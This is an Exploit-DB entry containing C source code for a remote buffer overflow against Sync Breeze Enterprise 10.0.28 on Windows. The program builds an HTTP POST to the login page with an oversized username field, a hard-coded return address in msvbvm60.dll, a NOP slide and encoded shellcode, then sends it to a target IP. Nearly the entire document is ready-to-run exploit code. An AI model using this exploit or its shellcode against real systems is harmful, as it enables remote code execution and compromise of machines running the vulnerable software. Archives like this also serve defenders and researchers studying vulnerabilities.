Exploit-DB #42341
Description: Sync Breeze Enterprise 10.0.28 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-10-27
Author: Ivan Ivanovic

Exploit:
/*
Sync Breeze Enterprise BOF - Ivan Ivanovic Ivanov Иван-дурак
недействительный 31337 Team
*/

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define DEFAULT_BUFLEN 512

#include <inttypes.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

DWORD SendRequest(char *request, int request_size) {
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    char recvbuf[DEFAULT_BUFLEN];
    int recvbuflen = DEFAULT_BUFLEN;
    int iResult;

    printf("\n[>] Initialising Winsock...\n");
    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
    {
        printf("[!] Failed. Error Code : %d", WSAGetLastError());
        return 1;
    }

    printf("[>] Initialised.\n");
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
    {
        printf("[!] Could not create socket : %d", WSAGetLastError());
    }

    printf("[>] Socket created.\n");
    server.sin_addr.s_addr = inet_addr("172.16.116.222");
    server.sin_family = AF_INET;
    server.sin_port = htons(8080);

    if (connect(s, (struct sockaddr *)&server, sizeof(server)) < 0)
    {
        puts("[!] Connect error");
        return 1;
    }
    puts("[>] Connected");

    if (send(s, request, request_size, 0) < 0)
    {
        puts("[!] Send failed");
        return 1;
    }
    puts("\n[>] Request sent\n");
    closesocket(s);
    return 0;
}

void EvilRequest() {
    
    char request_one[] = "POST /login HTTP/1.1\r\n"
                        "Host: 172.16.116.222\r\n"
                        "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
                        "Accept-Language: en-US,en;q=0.5\r\n"
                        "Referer: http://172.16.116.222/login\r\n"
                        "Connection: close\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n"
                        "Content-Length: ";
    char request_two[] = "\r\n\r\nusername=";
    
    int initial_buffer_size = 780;
    char *padding = malloc(initial_buffer_size);
    memset(padding, 0x41, initial_buffer_size);
    memset(padding + initial_buffer_size - 1, 0x00, 1);
    unsigned char retn[] = "\xcb\x75\x52\x73"; //ret at msvbvm60.dll
    
    unsigned char shellcode[] = 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLIDE
    "\xdb\xda\xbd\x92\xbc\xaf\xa7\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
    "\x52\x31\x68\x17\x83\xc0\x04\x03\xfa\xaf\x4d\x52\x06\x27\x13"
    "\x9d\xf6\xb8\x74\x17\x13\x89\xb4\x43\x50\xba\x04\x07\x34\x37"
    "\xee\x45\xac\xcc\x82\x41\xc3\x65\x28\xb4\xea\x76\x01\x84\x6d"
    "\xf5\x58\xd9\x4d\xc4\x92\x2c\x8c\x01\xce\xdd\xdc\xda\x84\x70"
    "\xf0\x6f\xd0\x48\x7b\x23\xf4\xc8\x98\xf4\xf7\xf9\x0f\x8e\xa1"
    "\xd9\xae\x43\xda\x53\xa8\x80\xe7\x2a\x43\x72\x93\xac\x85\x4a"
    "\x5c\x02\xe8\x62\xaf\x5a\x2d\x44\x50\x29\x47\xb6\xed\x2a\x9c"
    "\xc4\x29\xbe\x06\x6e\xb9\x18\xe2\x8e\x6e\xfe\x61\x9c\xdb\x74"
    "\x2d\x81\xda\x59\x46\xbd\x57\x5c\x88\x37\x23\x7b\x0c\x13\xf7"
    "\xe2\x15\xf9\x56\x1a\x45\xa2\x07\xbe\x0e\x4f\x53\xb3\x4d\x18"
    "\x90\xfe\x6d\xd8\xbe\x89\x1e\xea\x61\x22\x88\x46\xe9\xec\x4f"
    "\xa8\xc0\x49\xdf\x57\xeb\xa9\xf6\x93\xbf\xf9\x60\x35\xc0\x91"
    "\x70\xba\x15\x35\x20\x14\xc6\xf6\x90\xd4\xb6\x9e\xfa\xda\xe9"
    "\xbf\x05\x31\x82\x2a\xfc\xd2\x01\xba\x8a\xef\x32\xb9\x72\xe1"
    "\x9e\x34\x94\x6b\x0f\x11\x0f\x04\xb6\x38\xdb\xb5\x37\x97\xa6"
    "\xf6\xbc\x14\x57\xb8\x34\x50\x4b\x2d\xb5\x2f\x31\xf8\xca\x85"
    "\x5d\x66\x58\x42\x9d\xe1\x41\xdd\xca\xa6\xb4\x14\x9e\x5a\xee"
    "\x8e\xbc\xa6\x76\xe8\x04\x7d\x4b\xf7\x85\xf0\xf7\xd3\x95\xcc"
    "\xf8\x5f\xc1\x80\xae\x09\xbf\x66\x19\xf8\x69\x31\xf6\x52\xfd"
    "\xc4\x34\x65\x7b\xc9\x10\x13\x63\x78\xcd\x62\x9c\xb5\x99\x62"
    "\xe5\xab\x39\x8c\x3c\x68\x59\x6f\x94\x85\xf2\x36\x7d\x24\x9f"
    "\xc8\xa8\x6b\xa6\x4a\x58\x14\x5d\x52\x29\x11\x19\xd4\xc2\x6b"
    "\x32\xb1\xe4\xd8\x33\x90";

    char request_three[] = "&password=A";

    int content_length = 9 + strlen(padding) + strlen(retn) + strlen(shellcode) + strlen(request_three);
    char *content_length_string = malloc(15);
    sprintf(content_length_string, "%d", content_length);
    int buffer_length = strlen(request_one) + strlen(content_length_string) + initial_buffer_size + strlen(retn) + strlen(request_two) + strlen(shellcode) + strlen(request_three);

    char *buffer = malloc(buffer_length);
    memset(buffer, 0x00, buffer_length);
    strcpy(buffer, request_one);
    strcat(buffer, content_length_string);
    strcat(buffer, request_two);
    strcat(buffer, padding);
    strcat(buffer, retn);
    strcat(buffer, shellcode);
    strcat(buffer, request_three);

    SendRequest(buffer, strlen(buffer));
}

int main() {

    EvilRequest();
    return 0;
}